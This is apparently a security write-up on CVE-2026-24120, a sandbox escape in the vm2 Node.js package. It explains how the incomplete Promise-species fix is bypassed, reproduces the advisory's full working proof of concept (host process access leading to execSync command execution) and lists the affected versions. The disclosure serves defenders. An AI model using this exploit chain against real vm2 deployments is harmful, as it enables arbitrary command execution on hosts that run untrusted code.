Introduction
An incomplete patch for a prior sandbox escape in the popular vm2 Node.js package has left over a million weekly consumers exposed to arbitrary command execution on the host system. CVE-2026-24120, carrying a CVSS score of 9.8, demonstrates once again that sandboxing JavaScript at the language level remains one of the hardest problems in application security.
The vm2 package, maintained by patriksimek, provides a sandboxed execution environment for running untrusted code within a single Node.js process. With approximately 1,352,076 weekly downloads on npm and over 4,000 GitHub stars, it is widely adopted across the Node.js ecosystem for use cases ranging from plugin systems to code evaluation platforms. Its position as a de facto standard for in-process sandboxing makes vulnerabilities in vm2 particularly consequential.
Technical Information
Root Cause: Incomplete Remediation of CVE-2023-37466
The vulnerability traces directly to the fix for CVE-2023-37466 (tracked as GHSA-cchq-frgv-rjh5). That earlier patch introduced a function called resetPromiseSpecies, which was designed to sanitize the Symbol.species property on Promise objects, restoring it to a safe, known value after sandbox code executes. The intent was to prevent an attacker from substituting the Promise species with a malicious class.
However, the implementation of resetPromiseSpecies relies on two built-in methods: [].includes and Object.defineProperty. Both of these are accessible from within the sandbox and can be overwritten by attacker-controlled code. By replacing Object.defineProperty with a no-op function, an attacker prevents the species from ever being reset, completely neutralizing the mitigation.
This is classified under CWE-94 (Improper Control of Generation of Code) and CWE-693 (Protection Mechanism Failure).
Attack Flow
The exploitation chain proceeds through five distinct stages:
-
Neutralize the defense. The attacker overwrites
Object.definePropertywith an empty arrow function (()=>{}), renderingresetPromiseSpeciesinert. The sandbox can no longer restore the Promise species to a safe value. -
Trigger a host-realm TypeError. An async function creates an
Errorobject and sets itsnameproperty to aSymbol(). When V8's internalFormatStackTraceattempts to coerce this Symbol to a string (via.stackaccess), it produces aTypeErrorthat originates in the host realm, not the sandbox realm. -
Replace the Promise constructor's species. The rejected Promise returned by the async function has its
constructorproperty replaced with an object containing a customSymbol.speciespointing to aFakePromiseclass controlled by the attacker. -
Hijack Promise chaining. When
.then()is called on the manipulated Promise, the JavaScript runtime uses the attacker-controlled species to construct the chained Promise. TheFakePromiseexecutor's reject callback receives the unsanitized host-realmTypeError. -
Escape to the host process. The host-realm error object's constructor chain is traversed via
err.constructor.constructor('return process')(), yielding the hostprocessobject. From there,mainModule.require('child_process').execSync()provides arbitrary OS command execution.
The key insight is that the error object leaking from the host realm carries a reference to the host's Function constructor, which is not subject to sandbox restrictions. This is the bridge that allows code execution outside the sandbox boundary.
Proof of Concept
The following proof of concept was published directly in the GHSA-qvjj-29qf-hp7p advisory by reporter XmiliaH. It demonstrates full sandbox escape resulting in arbitrary command execution on the host:
const {VM} = require("vm2"); const vm = new VM(); vm.run(` Object.defineProperty=()=>{}; async function fn() { const e = new Error(); e.name = Symbol(); return e.stack; } p = fn(); p.constructor = { [Symbol.species]: class FakePromise { constructor(executor) { executor( (x) => x, (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); } ) } } }; p.then(); `);
Step by step breakdown:
-
Object.definePropertyis replaced with a no-op, preventingresetPromiseSpeciesfrom resetting theSymbol.speciesproperty on the Promise prototype. -
The async function
fn()creates anErrorwith aSymbol()as itsname. Accessing.stackforces V8'sFormatStackTraceto attempt string coercion of the Symbol, which throws a host-realmTypeError. -
The variable
pholds the rejected Promise from the async function. Itsconstructoris overwritten with an object whoseSymbol.speciespoints to the attacker'sFakePromiseclass. -
Calling
p.then()triggers Promise chaining. The runtime uses the attacker-controlled species, instantiatingFakePromise. The executor's reject callback receives the unsanitized host-realmTypeError. -
err.constructor.constructor('return process')()traverses the constructor chain from the host-realm error to the hostFunctionconstructor, evaluates'return process'to obtain the hostprocessobject, and then callschild_process.execSync('touch pwned')to create a file on the host filesystem.
Running this code on a system with a vulnerable version of vm2 will create a file named pwned in the current working directory, confirming arbitrary command execution outside the sandbox.
Affected Systems and Versions
Based on the official advisory, the following version ranges are affected:
| Version Range | Status | Recommended Action |
|---|---|---|
| Versions 3.10.3 and below | Vulnerable | Upgrade immediately to 3.10.5 |
| Version 3.10.4 | Not listed as patched | Upgrade to 3.10.5 |
| Version 3.10.5 | Patched | Verify deployment |
Any application or service that includes vm2 as a direct or transitive dependency at a version below 3.10.5 is affected. Organizations should audit their package-lock.json or yarn.lock files to identify transitive inclusions of the vulnerable package.
The vulnerability requires no authentication, no user interaction, and has low attack complexity. Any network-accessible service that evaluates user-supplied code through vm2 is at immediate risk.
Vendor Security History
The vm2 project has a documented pattern of sandbox escape vulnerabilities. CVE-2026-24120 is itself a bypass of the fix for CVE-2023-37466 (GHSA-cchq-frgv-rjh5), which was also a sandbox escape. Additional prior advisories, such as GHSA-whpj-8f3w-67p5, have addressed similar classes of issues.
The maintainer has been responsive to reports and the 3.10.5 release includes several defense in depth measures beyond the specific fix for this CVE, including blocking Function constructor access via property descriptors and preventing WebAssembly.JSTag sandbox escapes in Node 25. However, the recurring nature of these escapes reflects the fundamental difficulty of implementing a secure sandbox at the JavaScript language level within a single process. Each fix addresses a specific escape vector, but the attack surface remains broad due to the richness of JavaScript's prototype and intrinsic manipulation capabilities.
References
- GHSA-qvjj-29qf-hp7p: Sandbox Breakout Through Promise Species (GitHub Advisory)
- vm2 Release v3.10.5 (GitHub)
- vm2 Security Advisories API
- vm2 v3.10.5 Release API
- GHSA-cchq-frgv-rjh5: Prior Sandbox Escape Advisory (CVE-2023-37466)
- vm2 GitHub Repository
- vm2 on npm
- NVD (National Vulnerability Database)
- CVE.org



